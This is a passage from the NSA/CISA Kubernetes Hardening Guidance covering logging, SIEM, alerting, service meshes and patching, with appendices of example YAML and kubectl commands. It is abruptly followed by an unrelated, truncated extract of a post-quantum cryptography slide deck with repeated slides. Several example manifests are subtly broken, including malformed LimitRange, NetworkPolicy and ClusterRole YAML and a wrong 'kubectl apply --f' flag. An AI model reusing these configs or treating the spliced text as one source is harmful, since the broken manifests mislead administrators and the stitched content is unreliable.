separate output streams. This can be a useful option when application containers write multiple log files of different formats. Configure sidecar container for each log type and use to redirect these log files to their individual output streams, where they can be handled by the kubelet. The node-level logging agent can then forward these logs onto the SIEM or other backend. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 26 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Using a logging agent sidecar in each Pod to push logs to a backend When more flexibility is needed than the node-level logging agent can provide. Configure for each Pod to push logs directly to the backend. This is a common method for attaching third- party logging agents and backends. Pushing logs directly to a backend from within an application Capture application logs. Kubernetes does not have built-in mechanisms for exposing or pushing logs to a backend directly. Organizations will need to either build this functionality into their application or attach a reputable third-party tool to enable this. A sidecar container is run in a Pod with other containers and can be configured to stream logs to a log file or logging backend. A sidecar container can also be configured to act as a traffic proxy for another standard functionality container with which it is packaged and deployed. In order to ensure continuity of these logging agents across worker nodes, it is common to run them as a DaemonSet. Configuring a DaemonSet for this method ensures that there is a copy of the logging agent on every node at all times and that any changes made to the logging agent are consistent across the cluster. Seccomp: audit mode In addition to the node and container logging described above, it can be highly beneficial to log system calls. One method for auditing container system calls in Kubernetes is to use the Secure Compute Mode (seccomp) tool. This tool is disabled by default but can be used to limit a container’s system call abilities, thereby lowering the kernel’s attack surface. Seccomp can also log what calls are being made by using an audit profile. A custom seccomp profile is used to define which system calls are allowed and default actions for calls not specified. To enable a custom seccomp profile within a Pod, Kubernetes admins can write their seccomp profile JSON file to the /var/lib/kubelet/seccomp/ directory and add a seccompProfile to the Pod’s securityContext. A custom seccompProfile should also include two fields: Type: Localhost and localhostProfile: myseccomppolicy.json. Logging all system calls can help administrators know what system calls are needed for standard operations allowing them to restrict the seccomp profile further without losing system functionality. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 27 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency SYSLOG Kubernetes, by default, writes kubelet logs and container runtime logs to journald if the service is available. If organizations wish to utilize syslog utilities for systems that do not use them by default—or to collect logs from across the cluster and forward them to a syslog server or other log storage and aggregation platform—they can configure that capability manually. Syslog protocol defines a log message-formatting standard. Syslog messages include a header—consisting of a timestamp, hostname, application name, and process ID (PID)—and a message written in plaintext. Syslog services such as syslog-ng® and rsyslog are capable of collecting and aggregating logs from across a system in a unified format. Many Linux operating systems by default use rsyslog or journald—an event logging daemon, which optimizes log storage and output logs in syslog format via journalctl. The syslog utility, on nodes running certain Linux distributions logs events, by default, at the operating system level. Containers running these Linux distributions will, by default, collect logs using syslog as well. The logs that are collected by syslog utilities are stored in the local file system on each applicable node or container unless a log aggregation platform is configured to collect them. SIEM platforms Security Information and Event Management (SIEM) software collects logs from across an organization’s network. SIEM software brings together firewall logs, application logs, and more; parsing them out to provide a centralized platform from which analysts can monitor system security. SIEM tools have variations in their capabilities. Generally, these platforms provide log collection, threat detection, and alerting capabilities. Some include machine learning capabilities, which can better predict system behavior and help to reduce false alerts. Organizations using these platforms in their environment can integrate them with Kubernetes to better monitor and secure clusters. Open source platforms for managing logs from a Kubernetes environment exist as an alternative to SIEM platforms. Containerized environments have many interdependencies between nodes, Pods, containers, and services. In these environments, Pods and containers are constantly being taken down and restarted on different nodes. This presents an extra challenge for traditional SIEMs, which typically use IP addresses to correlate logs. Even next-gen SIEM platforms may not always be suited to the complex Kubernetes environment. However, as Kubernetes has emerged as the most widely used container orchestration U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 28 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency platform, many of the organizations developing SIEM tools have developed variations of their products specifically designed to work with the Kubernetes environment, providing full monitoring solutions for these containerized environments. Administrators should be aware of their platform’s capabilities and ensure that their logging sufficiently captures the environment to support future incident responses. Alerting Kubernetes does not natively support alerting; however, several monitoring tools with alerting capabilities are compatible with Kubernetes. If Kubernetes administrators choose to configure an alerting tool to work within a Kubernetes environment, there are several metrics for which administrators should monitor and configure alerts. Examples of cases that could trigger alerts include but are not limited to:  low disk space on any of the machines in the environment,  available storage space on a logging volume running low,  external logging service going offline,  a Pod or application running with root permissions,  requests being made by an account for resources they do not have permission for,  an anonymous account being used or gaining privileges,  Pod or Worker Node IP addresses being listed as the source ID of a Pod creation request,  unusual system calls or failed API calls,  user/admin behavior that is abnormal (i.e. at unusual times or from an unusual location), and  significant deviations from the standard operation metrics baseline. Alerting when storage is low can help avoid performance issues and log loss due to limited resources and help identify malicious cryptojacking attempts. Cases of privileged Pod execution can be investigated to determine if an administrator made a mistake, an authentic use case necessitates escalated privileges, or a malicious actor deployed a privileged Pod. Suspicious Pod creation source IP addresses could indicate that a malicious cyber actor has broken out of a container and is attempting to create a malicious Pod. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 29 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Integrating Kubernetes with an organization’s existing SIEM platform, especially those with machine learning/big data capabilities, can be useful in identifying irregularities in audit logs and cutting down on false alerts. If configuring such a tool to work with Kubernetes, it should be configured so that these cases and any others applicable to the use case are configured to trigger alerts. Systems capable of acting automatically when suspected intrusions occur could potentially be configured to take steps to mitigate compromises while administrators respond to alerts. In the case of a Pod IP being listed as the source ID of a Pod creation request, one mitigation that could be implemented to keep the application available but temporarily stop any compromises of the cluster would be to automatically evict the Pod. Doing so would allow a clean version of the Pod to be rescheduled onto one of the nodes. Investigators can then examine the logs to determine if a breach occurred and, if so, how the malicious actors executed the compromise so that a patch can be deployed. Service meshes Service meshes are platforms that streamline microservice communications within an application by allowing for the logic of these communications to be coded into the service mesh rather than within each microservice. Coding this communication logic into individual microservices is difficult to scale, difficult to debug as failures occur, and difficult to secure. Using a service mesh can simplify this for developers. The mesh can:  redirect traffic when a service is down,  gather performance metrics for optimizing communications,  allow management of service-to-service communication encryption,  collect logs for service-to-service communication,  collect logs from each service, and  help developers diagnose problems and failures of microservices or communication mechanisms. Service meshes can also help with migrating services to hybrid or multi-cloud environments. While service meshes are not necessary, they are an option that is highly suitable to the Kubernetes environment. Managed Kubernetes services often include their own service mesh. However, several other platforms are also available and, if desired, are highly customizable. Some of these include a Certificate Authority that generates and rotates certificates, allowing for secure TLS authentication between U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 30 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency services. Administrators should consider using service meshes to harden Kubernetes cluster security. Figure 5: Cluster leveraging service mesh to integrate logging with network security Fault tolerance Fault tolerance policies should be put in place to ensure logging service availability. These policies could differ depending on the specific Kubernetes use case. One policy that can be put in place is to allow new logs to overwrite the oldest log files if absolutely necessary in the event of storage capacity being exceeded. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 31 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency If logs are being sent to an external service, a mechanism should be in place for logs to be stored locally if a communication loss or external service failure occurs. Once communication to the external service is restored, a policy should be in place for the locally stored logs to be pushed up to the external server. Tools Kubernetes does not include extensive auditing capabilities. However, the system is built to be extensible, allowing users the freedom to develop their own custom solution or to choose an existing add-on that suits their needs. One of the most common solutions is to add additional audit backend services, which can use the information logged by Kubernetes and perform additional functions for users, such as extended search parameters, data mapping features, and alerting functionality. Organizations that already use SIEM platforms can integrate Kubernetes with these existing capabilities. Open-source monitoring tools—such as the Cloud Native Computing Foundation’s Prometheus®, Grafana Labs’ Grafana®, and Elasticsearch’s Elastic Stack (ELK)®—are available to conduct event monitoring, run threat analytics, manage alerting, and collect resource isolation parameters, historical usage, and network statistics on running containers. Scanning tools can be useful when auditing the access control and permission configurations by assisting in identifying risky permission configurations in RBAC. NSA and CISA encourage organizations utilizing Intrusion Detection Systems (IDSs) on their existing environment to consider integrating that service into their Kubernetes environment as well. This integration would allow an organization to monitor for—and potentially kill containers showing signs of—unusual behavior so the containers can be restarted from the initial clean image. Many cloud service providers also provide container monitoring services for those wanting more managed and scalable solutions. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 32 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Upgrading and application security practices Following the hardening guidance outlined in this document is a step toward ensuring the security of applications running on Kubernetes orchestrated containers. However, security is an ongoing process, and it is vital to keep up with patches, updates, and upgrades. The specific software components vary depending on the individual configuration, but each piece of the overall system should be kept as secure as possible. This includes updating: Kubernetes, hypervisors, virtualization software, plugins, operating systems on which the environment is running, applications running on the servers, and any other software hosted in the Kubernetes environment. The Center for Internet Security (CIS) publishes benchmarks for securing software. Administrators should adhere to the CIS benchmarks for Kubernetes and any other relevant system components. Administrators should check periodically to ensure their system's security is compliant with the current security experts’ consensus on best practices. Periodic vulnerability scans and penetration tests should be performed on the various system components to proactively look for insecure configurations and zero-day vulnerabilities. Any discoveries should be promptly remediated before potential cyber actors can discover and exploit them. As updates are deployed, administrators should also keep up with removing any old components that are no longer needed from the environment. Using a managed Kubernetes service can help to automate upgrades and patches for Kubernetes, operating systems, and networking protocols. However, administrators must still patch and upgrade their containerized applications. ▲Return to Contents U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 33 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Works cited [1] Center for Internet Security, "Kubernetes," 2021. [Online]. Available: https://cisecurity.org/resources/?type=benchmark&search=kubernetes. [2] DISA, "Kubernetes STIG," 2021. [Online]. Available: https://dl.dod.cyber.mil.wp- content/uploads/stigs/zip/U_Kubernetes_V1R1_STIG.zip. [Accessed 8 July 2021] [3] The Linux Foundation, "Kubernetes Documentation," 2021. [Online]. Available: https://kubernetes.io/docs/home/. [Accessed 8 July 2021]. [4] The Linux Foundation, "11 Ways (Not) to Get Hacked," 18 07 2018. [Online]. Available: https://kubernetes.io/blog/2018/07/18/11-ways-not-to-get-hacked/#10- scan-images-and-run-ids. [Accessed 8 July 2021]. [5] MITRE, "Unsecured Credentials: Cloud Instance Metadata API." MITRE ATT&CK, 2021. [Online]. Available: https://attack.mitre.org/techniques/T1552/005/. [Accessed 8 July 2021]. [6] CISA, "Analysis Report (AR21-013A): Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services." Cybersecurity and Infrastructure Security Agency, 14 January 2021. [Online]. Available:https://us- cert.cisa.gov/ncas/analysis-reports/ar21-013a [Accessed 8 July 2021]. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 34 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix A: Example Dockerfile for non-root application The following example is a Dockerfile that runs an application as a non-root user with non-group membership. The lines highlighted in red below are the portion specific to using non-root. FROM ubuntu:latest #Update and install the make utility RUN apt update && apt install -y make #Copy the source from a folder called “code” and build the application with the make utility COPY . /code RUN make /code #Create a new user (user1) and new group (group1); then switch into that user’s context RUN useradd user1 && groupadd group1 USER user1:group1 #Set the default entrypoint for the container CMD /code/app U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 35 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix B: Example deployment template for read-only file systemfilesystem The following is an example Kubernetes deployment template that uses a read-only root file system. The lines highlighted in red below are the portion specific to making the container’s filesystem read-only. The lines highlighted in blue are the portion showing how to create a writeable volume for applications requiring this capability. apiVersion: apps/v1 kind: Deployment metadata: labels: app: web name: web spec: selector: matchLabels: app: web template: metadata: labels: app: web name: web spec: containers: - command: ["sleep"] args: ["999"] image: ubuntu:latest name: web securityContext: readOnlyRootFilesystem: true volumeMounts: - mountPath: /writeable/location/here name: volName volumes: - emptyDir: {} name: volName U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 36 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix C: Example Pod Security Policy The following is an example Kubernetes Pod Security Policy that enforces strong security requirements for containers running in the cluster. This example is based on official Kubernetes documentation: https://kubernetes.io/docs/concepts/policy/pod- security-policy/. Administrators are encouraged to tailor the policy to meet their organization’s requirements. apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default' apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default' seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default' apparmor.security.beta.kubernetes.io/defaultProfileName: 'runtime/default' spec: privileged: false # Required to prevent escalations to root. allowPrivilegeEscalation: false requiredDropCapabilities: - ALL volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' - 'persistentVolumeClaim' # Assume persistentVolumes set up by admin are safe hostNetwork: false hostIPC: false hostPID: false runAsUser: rule: 'MustRunAsNonRoot' # Require the container to run without root seLinux: rule: 'RunAsAny' # This assumes nodes are using AppArmor rather than SELinux supplementalGroups: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 runAsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 fsGroup: U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 37 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: true U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 38 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix D: Example namespace The following example is for each team or group of users, a Kubernetes namespace can be created using either a kubectl command or YAML file. Any name with the prefix kube- should be avoided as it may conflict with Kubernetes system reserved namespaces. Kubectl command to create a namespace: kubectl create namespace <insert-namespace-name-here> To create namespace using YAML file, create a new file called my-namespace.yaml with the contents: apiVersion: v1 kind: Namespace metadata: name: <insert-namespace-name-here> Apply the namespace using: kubectl create –f ./my-namespace.yaml To create new Pods in an existing namespace, switch to the desired namespace using: kubectl config use-context <insert-namespace-here> Apply new deployment using: kubectl apply -f deployment.yaml Alternatively, the namespace can be added to the kubectl command using: kubectl apply -f deployment.yaml --namespace=<insert-namespace-here> or specify namespace: <insert-namespace-here> under metadata in the YAML declaration. Once created, resources cannot be moved between namespaces. The resource must be deleted, then created in the new namespace. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 39 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix E: Example network policy Network policies differ depending on the network plugin used. The following is an example network policy to limit access to the nginx service to Pods with the label access using the Kubernetes documentation: https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/ apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: example-access-nginx namespace: prod #this can any namespace or be left out if no namespace is used spec: podSelector: matchLabels: app: nginx ingress: -from: -podSelector: matchLabels: access: “true” The new NetworkPolicy can be applied using: kubectl apply -f policy.yaml A default deny all ingress policy: apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-all-ingress spec: podSelector: {} policyType: - Ingress A default deny all egress policy: apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-all-egress spec: podSelector: {} policyType: - Egress U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 40 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix F: Example LimitRange LimitRange support is enabled by default in Kubernetes 1.10 and newer. The following YAML file specifies a LimitRange with a default request and limit, as well as a min and max request, for each container. apiVersion: v1 kind: LimitRange metadata: name: cpu-min-max-demo-lr spec: limits - default: cpu: 1 defaultRequest: cpu: 0.5 max: cpu: 2 min: cpu 0.5 type: Container A LimitRange can be applied to a namespace with: kubectl apply -f <example-LimitRange>.yaml --namespace=<Enter-Namespace> After this example LimitRange configuration is applied, all containers created in the namespace are assigned the default CPU request and limit if not specified. All containers in the namespace must have a CPU request greater than or equal to the minimum value and less than or equal to the maximum CPU value or the container will not be instantiated. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 41 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix G: Example ResourceQuota ResourceQuota objects to limit aggregate resource usage within a namespace are created by applying a YAML file to a namespace or specifying requirements in the configuration file of Pods. The following example is based on official Kubernetes documentation: https://kubernetes.io/docs/tasks/administer-cluster/manage- resources/quota-memory-cpu-namespace/ Configuration file for a namespace: apiVersion: v1 kind: ResourceQuota metadata: name: example-cpu-mem-resourcequota spec: hard: requests.cpu: “1” requests.memory: 1Gi limits.cpu: “2” limits.memory: 2Gi This ResourceQuota can be applied with: kubectl apply -f example-cpu-mem-resourcequota.yaml -- namespace=<insert-namespace-here> This ResourceQuota places the following constraints on the chosen namespace:  Every container must have a memory request, memory limit, CPU request, and CPU limit  Aggregate memory request for all containers should not exceed 1 GiB  Total memory limit for all containers should not exceed 2 GiB  Aggregate CPU request for all containers should not exceed 1 CPU  Total CPU limit for all containers should not exceed 2 CPUs U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 42 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix H: Example encryption To encrypt Secret data at rest, the following encryption configuration file provides an example to specify the type of encryption desired and the encryption key. Storing the encryption key in the encryption file only slightly improves security. The Secrets will be encrypted, but the key will be accessible in the EncryptionConfiguration file. This example is based on official Kubernetes documentation: https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/. apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration resources: - resources: - secrets providers: - aescbc: keys: - name: key1 secret: <base 64 encoded secret> - identity: {} To enable encryption at rest with this encryption file, restart the API server with the --encryption- provider-config flag set with the location to the configuration file. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 43 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix I: Example KMS configuration To encrypt Secrets with a Key Management Service (KMS) provider plugin, the following example encryption configuration YAML file can be used to set the properties for the provider. This example is based on official Kubernetes documentation: https://kubernetes.io/docs/tasks/administer-cluster/kms-provider/. apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration resources: - resources: - secrets providers: - kms: name: myKMSPlugin endpoint: unix://tmp/socketfile.sock cachesize: 100 timeout: 3s - identity: {} To configure the API server to use the KMS provider, set the --encryption- provider-config flag with the location of the configuration file and restart the API server. To switch from a local encryption provider to KMS, add the KMS provider section of the EncryptionConfiguration file above the current encryption method, as shown below. apiVersion: apiserver.config.k8s.io/v1 kind: EncryptionConfiguration resources: - resources: - secrets providers: - kms: name: myKMSPlugin endpoint: unix://tmp/socketfile.sock cachesize: 100 timeout: 3s - aescbc: keys: - name: key1 secret: <base64 encoded secret> Restart the API server and run the command below to re-encrypt all Secrets with the KMS provider. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 44 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency kubectl get secrets --all-namespaces -o json | kubectl replace -f - U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 45 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix J: Example pod-reader RBAC Role To create a pod-reader Role, create a YAML file with the following contents: apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: your-namespace-name name: pod-reader rules: - apiGroups: [“”] # “” indicates the core API group resources: [“pods”] verbs: [“get”, “watch”, “list”] Apply the Role using: kubectl apply --f role.yaml To create a global-pod-reader ClusterRole: apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: default # “namespace” omitted since ClusterRoles are not bound to a namespace name: global-pod-reader rules: - apiGroups: [“”] # “” indicates the core API group resources: [“pods”] verbs: [“get”, “watch”, “list”] Apply the Role using: kubectl apply --f clusterrole.yaml U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 46 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix K: Example RBAC RoleBinding and ClusterRoleBinding To create a RoleBinding, create a YAML file with the following contents: apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows “jane” to read Pods in the “your- namespace-name” # namespace. # You need to already have a Role names “pod-reader” in that namespace. kind: RoleBinding metadata: name: read-pods namespace: your-namespace-name subjects: # You can specify more than one “subject” - kind: User name: jane # “name” is case sensitive apiGroup: rbac.authorization.k8s.io roleRef: # “roleRef” specifies the binding to a Role/ClusterRole # kind: Role # this must be a Role or ClusterRole # this must match the name of the Role or ClusterRole you wish to bind # to name: pod-reader apiGroup: rbac.authorization.k8s.io Apply the RoleBinding using: kubectl apply --f rolebinding.yaml To create a ClusterRoleBinding, create a YAML file with the following contents: apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binging allows anyone in the “manager” group to read # Pod information in any namespace. kind: ClusterRoleBinding metadata: name: global-pod-reader subjects: # You can specify more than one “subject” - kind: Group name: manager # Name is case sensitive apiGroup: rbac.authorization.k8s.io roleRef: # “roleRef” specifies the binding to a Role/ClusterRole kind: ClusterRole # this must be a Role or ClusterRole name: global-pod-reader # this must match the name of the Role or ClusterRole you wish to bind to U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 47 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency apiGroup: rbac.authorization.k8s.io Apply the RoleBinding using: kubectl apply --f clusterrolebinding.yaml U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 48 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix L: Audit Policy The following is an Audit Policy that logs all audit events at the highest level: apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: RequestResponse # This audit policy logs all audit events at the RequestResponse level This audit policy logs all events at the highest level. If an organization has the resources available to store, parse, and examine a large number of logs, then logging all events at the highest level is a good way of ensuring that, when an event occurs, all necessary contextual information is present in the logs. If resource consumption and availability is a concern, then more logging rules can be established to lower the logging level of non- critical components and routine non-privileged actions, as long as audit requirements for the system are being met. An example of how to establish these rules can be found in the official Kubernetes documentation: https://kubernetes.io/docs/tasks/debug- application-cluster/audit/. U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 49 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix M: Example flags with which to submit Audit Policy file to kube-apiserver In the control plane, open the kube-apiserver.yaml file in a text editor. Editing the kube-apiserver configuration requires administrator privileges. sudo vi /etc/kubernetes/manifests/kube-apiserver.yaml Add the following text to the kube-apiserver.yaml file: --audit-policy-file=/etc/kubernetes/policy/audit-policy.yaml --audit-log-path=/var/log/audit.log --audit-log-maxage=1825 The audit-policy-file flag should be set with the path to the audit policy, and the audit-log-path flag should be set with the desired secure location for the audit logs to be written to. Other additional flags exist, such as the audit-log-maxage flag shown here, which stipulates the maximum number of days the logs should be kept, and flags for specifying the maximum number of audit log files to retain, max log file size in megabytes, etc. The only flags necessary to enable logging are the audit-policy- file and audit-log-path flags. The other flags can be used to configure logging to match the organization’s policies. If a user’s kube-apiserver is run as a Pod, then it is necessary to mount the volume and configure hostPath of the policy and log file locations for audit records to be retained. This can be done by adding the following sections to the kube- apiserver.yaml file as noted in the Kubernetes documentation: https://kubernetes.io/docs/tasks/debug-application-cluster/audit/ volumeMounts: -mountPath: /etc/kubernetes/audit-policy.yaml name: audit readOnly: true -mountPath: /var/log/audit.log name: audit-log readOnly: false volumes: - hostPath: path: /etc/kubernetes/audit-policy.yaml type: File name: audit U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 50 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency - hostPath: path: /var/log/audit.log type: FileOrCreate name: audit-log U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 51 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency Appendix N: Webhook configuration YAML file example: apiVersion: v1 kind: Config preferences: {} clusters: - name: example-cluster cluster: server: http://127.0.0.1:8080 #web endpoint address for the log files to be sent to name: audit-webhook-service users: - name: example-users user: username: example-user password: example-password contexts: - name: example-context context: cluster: example-cluster user: example-user current-context: example-context #source: https://dev.bitolog.com/implement-audits-webhook/ The audit events sent by the webhook are sent as HTTP POST requests with the JSON audit events in the request body. The address specified should point to an endpoint capable of accepting and parsing these audit events, whether it is a third-party service or an in-house configured endpoint. Example flags that submit webhook configuration file to kube-apiserver: In the control plane edit the kube-apiserver.yaml file sudo vi /etc/kubernetes/manifests/kube-apiserver.yaml add the following text to the kube-apiserver.yaml file --audit-webhook-config-file=/etc/kubernetes/policies/webhook- policy.yaml --audit-webhook-initial-backoff=5 --audit-webhook-mode=batch --audit-webhook-batch-buffer-size=5 U/OO/168286-21 | PP-21-1104 | August 2021 Ver. 1.0 52 National Security Agency Cybersecurity and Infrastructure Security Agency Kubernetes Hardening Guidance National Security Agency The audit-webhook-initial-backoff flag determines how long to wait after an initial failed request before retrying. The available webhook modes are batch, blocking, and blocking-strict. When using batch mode, it is possible to configure the maximum wait, buffer size, and more. The official Kubernetes documentation contains more details on the other configuration options: https://kubernetes.io/docs/tasks/debug-application-cluster/audit/ and https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
pdf
Post-quantum cryptography Daniel J. Bernstein & Tanja Lange University of Illinois at Chicago; Ruhr University Bochum & Technische Universiteit Eindhoven 12 September 2020 Cryptography Sender “Alice” Receiver “Bob” Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Cryptography Sender “Alice” Untrustworthy network “Eve” Receiver “Bob” ▶ Motivation #1: Communication channels are spying on our data. ▶ Motivation #2: Communication channels are modifying our data. Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Cryptography Sender “Alice” Untrustworthy network “Eve” Receiver “Bob” ▶ Motivation #1: Communication channels are spying on our data. ▶ Motivation #2: Communication channels are modifying our data. ▶ Literal meaning of cryptography: “secret writing”. ▶ Achieves various security goals by secretly transforming messages. ▶ Confidentiality: Eve cannot infer information about the content ▶ Integrity: Eve cannot modify the message without this being noticed ▶ Authenticity: Bob is convinced that the message originated from Alice Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Commonly used systems Sender “Alice” Untrustworthy network “Eve” Receiver “Bob” Cryptography with symmetric keys AES-128. AES-192. AES-256. AES-GCM. ChaCha20. HMAC-SHA-256. Poly1305. SHA-2. SHA-3. Salsa20. Cryptography with public keys BN-254. Curve25519. DH. DSA. ECDH. ECDSA. EdDSA. NIST P-256. NIST P-384. NIST P-521. RSA encrypt. RSA sign. secp256k1. Tsai Ing-Wen picture credit: By 總統府, Attribution, Wikimedia. Donald Trump picture credit: By Shealah Craighead - White House, Public Domain, Wikimedia. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 2 Commonly used systems Sender “Alice” Untrustworthy network “Eve” Receiver “Bob” Cryptography with symmetric keys AES-128. AES-192. AES-256. AES-GCM. ChaCha20. HMAC-SHA-256. Poly1305. SHA-2. SHA-3. Salsa20. Cryptography with public keys BN-254. Curve25519. DH. DSA. ECDH. ECDSA. EdDSA. NIST P-256. NIST P-384. NIST P-521. RSA encrypt. RSA sign. secp256k1. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 9 Commonly used systems Sender “Alice” Untrustworthy network “Eve” with quantum computer Receiver “Bob” Cryptography with symmetric keys AES-128. AES-192. AES-256. AES-GCM. ChaCha20. HMAC-SHA-256. Poly1305. SHA-2. SHA-3. Salsa20. Cryptography with public keys BN-254. Curve25519. DH. DSA. ECDH. ECDSA. EdDSA. NIST P-256. NIST P-384. NIST P-521. RSA encrypt. RSA sign. secp256k1. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 9 Symmetric-key authenticated encryption Sender “Alice” Untrustworthy network “Eve” with quantum computer Receiver “Bob” ▶ Very easy solutions if Alice and Bob already share long secret key k: ▶ “One-time pad” for confidentiality. ▶ “Wegman–Carter MAC” for integrity and authenticity. ▶ AES-256: Standardized method to expand short secret key (256-bit k) into string indistinguishable from long secret key. ▶ AES introduced in 1998 by Daemen and Rijmen. Security analyzed in papers by dozens of cryptanalysts. ▶ No credible threat from quantum algorithms. Grover costs 2128. ▶ Some results assume attacker has quantum access to computation, then some systems are weaker . . . but I’d know if my laptop had turned into a quantum computer. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 9 Post-quantum cryptography Cryptography under the assumption that the attacker has a quantum computer. ▶ 1994: Shor’s quantum algorithm. 1996: Grover’s quantum algorithm. Many subsequent papers on quantum algorithms: see quantumalgorithmzoo.org. ▶ 2003: Daniel J. Bernstein introduces term Post-quantum cryptography. ▶ 2006: First International Workshop on Post-Quantum Cryptography. PQCrypto 2006, 2008, 2010, 2011, 2013, 2014, 2016, 2017, 2018, 2019, (soon) 2020. ▶ 2015: NIST hosts its first workshop on post-quantum cryptography. ▶ 2016: NIST announces a standardization project for post-quantum systems. ▶ 2017: Deadline for submissions to the NIST competition. ▶ 2019: Second round of NIST competition begins. ▶ 2020: Third round of NIST competition begins. Daniel J. Bernstein & Tanja Lange Post-quantum cryptography 10 21 December 2017: NIST posts 69 submissions from 260 people. BIG QUAKE. BIKE. CFPKM. Classic McEliece. Compact LWE. CRYSTALS-DILITHIUM. 